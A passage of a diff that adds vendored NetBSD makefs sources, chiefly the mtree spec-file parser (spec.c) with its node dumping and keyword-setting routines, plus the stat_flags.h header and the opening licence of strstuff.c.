* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2001-2004 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Luke Mewburn of Wasabi Systems.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the NetBSD
|
||||
* Foundation, Inc. and its contributors.
|
||||
* 4. Neither the name of The NetBSD Foundation nor the names of its
|
||||
* contributors may be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
//#include <nbcompat.h>
|
||||
#if HAVE_SYS_CDEFS_H
|
||||
#include <sys/cdefs.h>
|
||||
#endif
|
||||
#if defined(__RCSID) && !defined(lint)
|
||||
#if 0
|
||||
static char sccsid[] = "@(#)spec.c 8.2 (Berkeley) 4/28/95";
|
||||
#else
|
||||
__RCSID("$NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $");
|
||||
#endif
|
||||
#endif /* not lint */
|
||||
|
||||
#if HAVE_SYS_PARAM_H
|
||||
#include <sys/param.h>
|
||||
#endif
|
||||
#if HAVE_SYS_STAT_H
|
||||
#include <sys/stat.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_CTYPE_H
|
||||
#include <ctype.h>
|
||||
#endif
|
||||
#if HAVE_ERRNO_H
|
||||
#include <errno.h>
|
||||
#endif
|
||||
#if HAVE_GRP_H
|
||||
#include <grp.h>
|
||||
#endif
|
||||
#if HAVE_PWD_H
|
||||
#include <pwd.h>
|
||||
#endif
|
||||
#if HAVE_STDIO_H
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#if HAVE_STDLIB_H
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#if HAVE_STRING_H
|
||||
#include <string.h>
|
||||
#endif
|
||||
#if HAVE_UNISTD_H
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
#if HAVE_VIS_H
|
||||
#include <vis.h>
|
||||
#endif
|
||||
#if HAVE_UTIL_H
|
||||
#include <util.h>
|
||||
#endif
|
||||
|
||||
#include "extern.h"
|
||||
#include "pack_dev.h"
|
||||
|
||||
size_t mtree_lineno; /* Current spec line number */
|
||||
int mtree_Mflag; /* Merge duplicate entries */
|
||||
int mtree_Wflag; /* Don't "whack" permissions */
|
||||
|
||||
static dev_t parsedev(char *);
|
||||
static void replacenode(NODE *, NODE *);
|
||||
static void set(char *, NODE *);
|
||||
static void unset(char *, NODE *);
|
||||
|
||||
#define REPLACEPTR(x,v) do { if ((x)) free((x)); (x) = (v); } while (0)
|
||||
|
||||
NODE *
|
||||
spec(FILE *fp)
|
||||
{
|
||||
NODE *centry, *last, *pathparent, *cur;
|
||||
char *p, *e, *next;
|
||||
NODE ginfo, *root;
|
||||
char *buf, *tname, *ntname;
|
||||
size_t tnamelen, plen;
|
||||
|
||||
root = NULL;
|
||||
centry = last = NULL;
|
||||
tname = NULL;
|
||||
tnamelen = 0;
|
||||
memset(&ginfo, 0, sizeof(ginfo));
|
||||
for (mtree_lineno = 0;
|
||||
(buf = fparseln(fp, NULL, &mtree_lineno, NULL,
|
||||
FPARSELN_UNESCCOMM));
|
||||
free(buf)) {
|
||||
/* Skip leading whitespace. */
|
||||
for (p = buf; *p && isspace((unsigned char)*p); ++p)
|
||||
continue;
|
||||
|
||||
/* If nothing but whitespace, continue. */
|
||||
if (!*p)
|
||||
continue;
|
||||
|
||||
#ifdef DEBUG
|
||||
fprintf(stderr, "line %lu: {%s}\n",
|
||||
(u_long)mtree_lineno, p);
|
||||
#endif
|
||||
/* Grab file name, "$", "set", or "unset". */
|
||||
next = buf;
|
||||
while ((p = strsep(&next, " \t")) != NULL && *p == '\0')
|
||||
continue;
|
||||
if (p == NULL)
|
||||
mtree_err("missing field");
|
||||
|
||||
if (p[0] == '/') {
|
||||
if (strcmp(p + 1, "set") == 0)
|
||||
set(next, &ginfo);
|
||||
else if (strcmp(p + 1, "unset") == 0)
|
||||
unset(next, &ginfo);
|
||||
else
|
||||
mtree_err("invalid specification `%s'", p);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (strcmp(p, "..") == 0) {
|
||||
/* Don't go up, if haven't gone down. */
|
||||
if (root == NULL)
|
||||
goto noparent;
|
||||
if (last->type != F_DIR || last->flags & F_DONE) {
|
||||
if (last == root)
|
||||
goto noparent;
|
||||
last = last->parent;
|
||||
}
|
||||
last->flags |= F_DONE;
|
||||
continue;
|
||||
|
||||
noparent: mtree_err("no parent node");
|
||||
}
|
||||
|
||||
plen = strlen(p) + 1;
|
||||
if (plen > tnamelen) {
|
||||
if ((ntname = realloc(tname, plen)) == NULL)
|
||||
mtree_err("realloc: %s", strerror(errno));
|
||||
tname = ntname;
|
||||
tnamelen = plen;
|
||||
}
|
||||
if (strunvis(tname, p) == -1)
|
||||
mtree_err("strunvis failed on `%s'", p);
|
||||
p = tname;
|
||||
|
||||
pathparent = NULL;
|
||||
if (strchr(p, '/') != NULL) {
|
||||
cur = root;
|
||||
for (; (e = strchr(p, '/')) != NULL; p = e+1) {
|
||||
if (p == e)
|
||||
continue; /* handle // */
|
||||
*e = '\0';
|
||||
if (strcmp(p, ".") != 0) {
|
||||
while (cur &&
|
||||
strcmp(cur->name, p) != 0) {
|
||||
cur = cur->next;
|
||||
}
|
||||
}
|
||||
if (cur == NULL || cur->type != F_DIR) {
|
||||
mtree_err("%s: %s", tname,
|
||||
strerror(ENOENT));
|
||||
}
|
||||
*e = '/';
|
||||
pathparent = cur;
|
||||
cur = cur->child;
|
||||
}
|
||||
if (*p == '\0')
|
||||
mtree_err("%s: empty leaf element", tname);
|
||||
}
|
||||
|
||||
if ((centry = calloc(1, sizeof(NODE) + strlen(p))) == NULL)
|
||||
mtree_err("%s", strerror(errno));
|
||||
*centry = ginfo;
|
||||
centry->lineno = mtree_lineno;
|
||||
strcpy(centry->name, p);
|
||||
#define MAGIC "?*["
|
||||
if (strpbrk(p, MAGIC))
|
||||
centry->flags |= F_MAGIC;
|
||||
set(next, centry);
|
||||
|
||||
if (root == NULL) {
|
||||
/*
|
||||
* empty tree
|
||||
*/
|
||||
if (strcmp(centry->name, ".") != 0 ||
|
||||
centry->type != F_DIR)
|
||||
mtree_err(
|
||||
"root node must be the directory `.'");
|
||||
last = root = centry;
|
||||
root->parent = root;
|
||||
} else if (pathparent != NULL) {
|
||||
/*
|
||||
* full path entry
|
||||
*/
|
||||
centry->parent = pathparent;
|
||||
cur = pathparent->child;
|
||||
if (cur == NULL) {
|
||||
pathparent->child = centry;
|
||||
last = centry;
|
||||
} else {
|
||||
for (; cur != NULL; cur = cur->next) {
|
||||
if (strcmp(cur->name, centry->name)
|
||||
== 0) {
|
||||
/* existing entry; replace */
|
||||
replacenode(cur, centry);
|
||||
break;
|
||||
}
|
||||
if (cur->next == NULL) {
|
||||
/* last entry; add new */
|
||||
cur->next = centry;
|
||||
centry->prev = cur;
|
||||
break;
|
||||
}
|
||||
}
|
||||
last = cur;
|
||||
while (last->next != NULL)
|
||||
last = last->next;
|
||||
}
|
||||
} else if (strcmp(centry->name, ".") == 0) {
|
||||
/*
|
||||
* duplicate "." entry; always replace
|
||||
*/
|
||||
replacenode(root, centry);
|
||||
} else if (last->type == F_DIR && !(last->flags & F_DONE)) {
|
||||
/*
|
||||
* new relative child
|
||||
* (no duplicate check)
|
||||
*/
|
||||
centry->parent = last;
|
||||
last = last->child = centry;
|
||||
} else {
|
||||
/*
|
||||
* relative entry, up one directory
|
||||
* (no duplicate check)
|
||||
*/
|
||||
centry->parent = last->parent;
|
||||
centry->prev = last;
|
||||
last = last->next = centry;
|
||||
}
|
||||
}
|
||||
return (root);
|
||||
}
|
||||
|
||||
void
|
||||
free_nodes(NODE *root)
|
||||
{
|
||||
NODE *cur, *next;
|
||||
|
||||
if (root == NULL)
|
||||
return;
|
||||
|
||||
next = NULL;
|
||||
for (cur = root; cur != NULL; cur = next) {
|
||||
next = cur->next;
|
||||
free_nodes(cur->child);
|
||||
REPLACEPTR(cur->slink, NULL);
|
||||
REPLACEPTR(cur->md5digest, NULL);
|
||||
REPLACEPTR(cur->rmd160digest, NULL);
|
||||
REPLACEPTR(cur->sha1digest, NULL);
|
||||
REPLACEPTR(cur->sha256digest, NULL);
|
||||
REPLACEPTR(cur->sha384digest, NULL);
|
||||
REPLACEPTR(cur->sha512digest, NULL);
|
||||
REPLACEPTR(cur->tags, NULL);
|
||||
REPLACEPTR(cur, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* dump_nodes --
|
||||
* dump the NODEs from `cur', based in the directory `dir'.
|
||||
* if pathlast is none zero, print the path last, otherwise print
|
||||
* it first.
|
||||
*/
|
||||
void
|
||||
dump_nodes(const char *dir, NODE *root, int pathlast)
|
||||
{
|
||||
NODE *cur;
|
||||
char path[MAXPATHLEN];
|
||||
const char *name;
|
||||
|
||||
for (cur = root; cur != NULL; cur = cur->next) {
|
||||
if (cur->type != F_DIR && !matchtags(cur))
|
||||
continue;
|
||||
|
||||
if (snprintf(path, sizeof(path), "%s%s%s",
|
||||
dir, *dir ? "/" : "", cur->name)
|
||||
>= sizeof(path))
|
||||
mtree_err("Pathname too long.");
|
||||
|
||||
if (!pathlast)
|
||||
printf("%s ", vispath(path));
|
||||
|
||||
#define MATCHFLAG(f) ((keys & (f)) && (cur->flags & (f)))
|
||||
if (MATCHFLAG(F_TYPE))
|
||||
printf("type=%s ", nodetype(cur->type));
|
||||
if (MATCHFLAG(F_UID | F_UNAME)) {
|
||||
if (keys & F_UNAME &&
|
||||
(name = user_from_uid(cur->st_uid, 1)) != NULL)
|
||||
printf("uname=%s ", name);
|
||||
else
|
||||
printf("uid=%u ", cur->st_uid);
|
||||
}
|
||||
if (MATCHFLAG(F_GID | F_GNAME)) {
|
||||
if (keys & F_GNAME &&
|
||||
(name = group_from_gid(cur->st_gid, 1)) != NULL)
|
||||
printf("gname=%s ", name);
|
||||
else
|
||||
printf("gid=%u ", cur->st_gid);
|
||||
}
|
||||
if (MATCHFLAG(F_MODE))
|
||||
printf("mode=%#o ", cur->st_mode);
|
||||
if (MATCHFLAG(F_DEV) &&
|
||||
(cur->type == F_BLOCK || cur->type == F_CHAR))
|
||||
printf("device=%#x ", cur->st_rdev);
|
||||
if (MATCHFLAG(F_NLINK))
|
||||
printf("nlink=%d ", cur->st_nlink);
|
||||
if (MATCHFLAG(F_SLINK))
|
||||
printf("link=%s ", vispath(cur->slink));
|
||||
if (MATCHFLAG(F_SIZE))
|
||||
printf("size=%lld ", (long long)cur->st_size);
|
||||
if (MATCHFLAG(F_TIME))
|
||||
printf("time=%ld.%ld ", (long)cur->st_mtimespec.tv_sec,
|
||||
cur->st_mtimespec.tv_nsec);
|
||||
if (MATCHFLAG(F_CKSUM))
|
||||
printf("cksum=%lu ", cur->cksum);
|
||||
if (MATCHFLAG(F_MD5))
|
||||
printf("md5=%s ", cur->md5digest);
|
||||
if (MATCHFLAG(F_RMD160))
|
||||
printf("rmd160=%s ", cur->rmd160digest);
|
||||
if (MATCHFLAG(F_SHA1))
|
||||
printf("sha1=%s ", cur->sha1digest);
|
||||
if (MATCHFLAG(F_SHA256))
|
||||
printf("sha256=%s ", cur->sha256digest);
|
||||
if (MATCHFLAG(F_SHA384))
|
||||
printf("sha384=%s ", cur->sha384digest);
|
||||
if (MATCHFLAG(F_SHA512))
|
||||
printf("sha512=%s ", cur->sha512digest);
|
||||
if (MATCHFLAG(F_FLAGS))
|
||||
printf("flags=%s ",
|
||||
flags_to_string(cur->st_flags, "none"));
|
||||
if (MATCHFLAG(F_IGN))
|
||||
printf("ignore ");
|
||||
if (MATCHFLAG(F_OPT))
|
||||
printf("optional ");
|
||||
if (MATCHFLAG(F_TAGS))
|
||||
printf("tags=%s ", cur->tags);
|
||||
puts(pathlast ? vispath(path) : "");
|
||||
|
||||
if (cur->child)
|
||||
dump_nodes(path, cur->child, pathlast);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* vispath --
|
||||
* strsvis(3) encodes path, which must not be longer than MAXPATHLEN
|
||||
* characters long, and returns a pointer to a static buffer containing
|
||||
* the result.
|
||||
*/
|
||||
char *
|
||||
vispath(const char *path)
|
||||
{
|
||||
const char extra[] = { ' ', '\t', '\n', '\\', '#', '\0' };
|
||||
static char pathbuf[4*MAXPATHLEN + 1];
|
||||
|
||||
strsvis(pathbuf, path, VIS_CSTYLE, extra);
|
||||
return(pathbuf);
|
||||
}
|
||||
|
||||
|
||||
static dev_t
|
||||
parsedev(char *arg)
|
||||
{
|
||||
#define MAX_PACK_ARGS 3
|
||||
u_long numbers[MAX_PACK_ARGS];
|
||||
char *p, *ep, *dev;
|
||||
int argc;
|
||||
pack_t *pack;
|
||||
dev_t result;
|
||||
const char *error = NULL;
|
||||
|
||||
if ((dev = strchr(arg, ',')) != NULL) {
|
||||
*dev++='\0';
|
||||
if ((pack = pack_find(arg)) == NULL)
|
||||
mtree_err("unknown format `%s'", arg);
|
||||
argc = 0;
|
||||
while ((p = strsep(&dev, ",")) != NULL) {
|
||||
if (*p == '\0')
|
||||
mtree_err("missing number");
|
||||
numbers[argc++] = strtoul(p, &ep, 0);
|
||||
if (*ep != '\0')
|
||||
mtree_err("invalid number `%s'",
|
||||
p);
|
||||
if (argc > MAX_PACK_ARGS)
|
||||
mtree_err("too many arguments");
|
||||
}
|
||||
if (argc < 2)
|
||||
mtree_err("not enough arguments");
|
||||
result = (*pack)(argc, numbers, &error);
|
||||
if (error != NULL)
|
||||
mtree_err(error);
|
||||
} else {
|
||||
result = (dev_t)strtoul(arg, &ep, 0);
|
||||
if (*ep != '\0')
|
||||
mtree_err("invalid device `%s'", arg);
|
||||
}
|
||||
return (result);
|
||||
}
|
||||
|
||||
static void
|
||||
replacenode(NODE *cur, NODE *new)
|
||||
{
|
||||
|
||||
#define REPLACE(x) cur->x = new->x
|
||||
#define REPLACESTR(x) REPLACEPTR(cur->x,new->x)
|
||||
|
||||
if (cur->type != new->type) {
|
||||
if (mtree_Mflag) {
|
||||
/*
|
||||
* merge entries with different types; we
|
||||
* don't want children retained in this case.
|
||||
*/
|
||||
REPLACE(type);
|
||||
free_nodes(cur->child);
|
||||
cur->child = NULL;
|
||||
} else {
|
||||
mtree_err(
|
||||
"existing entry for `%s', type `%s'"
|
||||
" does not match type `%s'",
|
||||
cur->name, nodetype(cur->type),
|
||||
nodetype(new->type));
|
||||
}
|
||||
}
|
||||
|
||||
REPLACE(st_size);
|
||||
REPLACE(st_mtimespec);
|
||||
REPLACESTR(slink);
|
||||
if (cur->slink != NULL) {
|
||||
if ((cur->slink = strdup(new->slink)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
if (strunvis(cur->slink, new->slink) == -1)
|
||||
mtree_err("strunvis failed on `%s'", new->slink);
|
||||
free(new->slink);
|
||||
}
|
||||
REPLACE(st_uid);
|
||||
REPLACE(st_gid);
|
||||
REPLACE(st_mode);
|
||||
REPLACE(st_rdev);
|
||||
REPLACE(st_flags);
|
||||
REPLACE(st_nlink);
|
||||
REPLACE(cksum);
|
||||
REPLACESTR(md5digest);
|
||||
REPLACESTR(rmd160digest);
|
||||
REPLACESTR(sha1digest);
|
||||
REPLACESTR(sha256digest);
|
||||
REPLACESTR(sha384digest);
|
||||
REPLACESTR(sha512digest);
|
||||
REPLACESTR(tags);
|
||||
REPLACE(lineno);
|
||||
REPLACE(flags);
|
||||
free(new);
|
||||
}
|
||||
|
||||
static void
|
||||
set(char *t, NODE *ip)
|
||||
{
|
||||
int type, value, len;
|
||||
gid_t gid;
|
||||
uid_t uid;
|
||||
char *kw, *val, *md, *ep;
|
||||
void *m;
|
||||
|
||||
while ((kw = strsep(&t, "= \t")) != NULL) {
|
||||
if (*kw == '\0')
|
||||
continue;
|
||||
if (strcmp(kw, "all") == 0)
|
||||
mtree_err("invalid keyword `all'");
|
||||
ip->flags |= type = parsekey(kw, &value);
|
||||
if (!value)
|
||||
/* Just set flag bit (F_IGN and F_OPT) */
|
||||
continue;
|
||||
while ((val = strsep(&t, " \t")) != NULL && *val == '\0')
|
||||
continue;
|
||||
if (val == NULL)
|
||||
mtree_err("missing value");
|
||||
switch (type) {
|
||||
case F_CKSUM:
|
||||
ip->cksum = strtoul(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid checksum `%s'", val);
|
||||
break;
|
||||
case F_DEV:
|
||||
ip->st_rdev = parsedev(val);
|
||||
break;
|
||||
case F_FLAGS:
|
||||
if (strcmp("none", val) == 0)
|
||||
ip->st_flags = 0;
|
||||
else if (string_to_flags(&val, &ip->st_flags, NULL)
|
||||
!= 0)
|
||||
mtree_err("invalid flag `%s'", val);
|
||||
break;
|
||||
case F_GID:
|
||||
ip->st_gid = (gid_t)strtoul(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid gid `%s'", val);
|
||||
break;
|
||||
case F_GNAME:
|
||||
if (mtree_Wflag) /* don't parse if whacking */
|
||||
break;
|
||||
if (gid_from_group(val, &gid) == -1)
|
||||
mtree_err("unknown group `%s'", val);
|
||||
ip->st_gid = gid;
|
||||
break;
|
||||
case F_MD5:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->md5digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
case F_MODE:
|
||||
if ((m = setmode(val)) == NULL)
|
||||
mtree_err("cannot set file mode `%s' (%s)",
|
||||
val, strerror(errno));
|
||||
ip->st_mode = getmode(m, 0);
|
||||
free(m);
|
||||
break;
|
||||
case F_NLINK:
|
||||
ip->st_nlink = (nlink_t)strtoul(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid link count `%s'", val);
|
||||
break;
|
||||
case F_RMD160:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->rmd160digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
case F_SHA1:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->sha1digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
case F_SIZE:
|
||||
ip->st_size = (off_t)strtoll(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid size `%s'", val);
|
||||
break;
|
||||
case F_SLINK:
|
||||
if ((ip->slink = strdup(val)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
if (strunvis(ip->slink, val) == -1)
|
||||
mtree_err("strunvis failed on `%s'", val);
|
||||
break;
|
||||
case F_TAGS:
|
||||
len = strlen(val) + 3; /* "," + str + ",\0" */
|
||||
if ((ip->tags = malloc(len)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
snprintf(ip->tags, len, ",%s,", val);
|
||||
break;
|
||||
case F_TIME:
|
||||
ip->st_mtimespec.tv_sec =
|
||||
(time_t)strtoul(val, &ep, 10);
|
||||
if (*ep != '.')
|
||||
mtree_err("invalid time `%s'", val);
|
||||
val = ep + 1;
|
||||
ip->st_mtimespec.tv_nsec = strtoul(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid time `%s'", val);
|
||||
break;
|
||||
case F_TYPE:
|
||||
ip->type = parsetype(val);
|
||||
break;
|
||||
case F_UID:
|
||||
ip->st_uid = (uid_t)strtoul(val, &ep, 10);
|
||||
if (*ep)
|
||||
mtree_err("invalid uid `%s'", val);
|
||||
break;
|
||||
case F_UNAME:
|
||||
if (mtree_Wflag) /* don't parse if whacking */
|
||||
break;
|
||||
if (uid_from_user(val, &uid) == -1)
|
||||
mtree_err("unknown user `%s'", val);
|
||||
ip->st_uid = uid;
|
||||
break;
|
||||
case F_SHA256:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->sha256digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
case F_SHA384:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->sha384digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
case F_SHA512:
|
||||
if (val[0]=='0' && val[1]=='x')
|
||||
md=&val[2];
|
||||
else
|
||||
md=val;
|
||||
if ((ip->sha512digest = strdup(md)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
break;
|
||||
default:
|
||||
mtree_err(
|
||||
"set(): unsupported key type 0x%x (INTERNAL ERROR)",
|
||||
type);
|
||||
/* NOTREACHED */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
unset(char *t, NODE *ip)
|
||||
{
|
||||
char *p;
|
||||
|
||||
while ((p = strsep(&t, " \t")) != NULL) {
|
||||
if (*p == '\0')
|
||||
continue;
|
||||
ip->flags &= ~parsekey(p, NULL);
|
||||
}
|
||||
}
|
||||
35
thirdparty/makefs/stat_flags.h
vendored
Normal file
35
thirdparty/makefs/stat_flags.h
vendored
Normal file
@@ -0,0 +1,35 @@
|
||||
/* $NetBSD: stat_flags.h,v 1.1 2003/09/05 18:39:00 jlam Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)extern.h 8.1 (Berkeley) 5/31/93
|
||||
*/
|
||||
|
||||
char *flags_to_string(u_long, const char *);
|
||||
int string_to_flags(char **, u_long *, u_long *);
|
||||
222
thirdparty/makefs/strstuff.c
vendored
Normal file
222
thirdparty/makefs/strstuff.c
vendored
Normal file
@@ -0,0 +1,222 @@
|
||||
/* $NetBSD: strsuftoll.c,v 1.6 2004/03/05 05:58:29 lukem Exp $ */
|
||||
/*-
|
||||
* Copyright (c) 2001-2002,2004 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Luke Mewburn.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993, 1994
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Keith Muller of the University of California, San Diego and Lance
|
||||
* Visser of Convex Computer Corporation.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
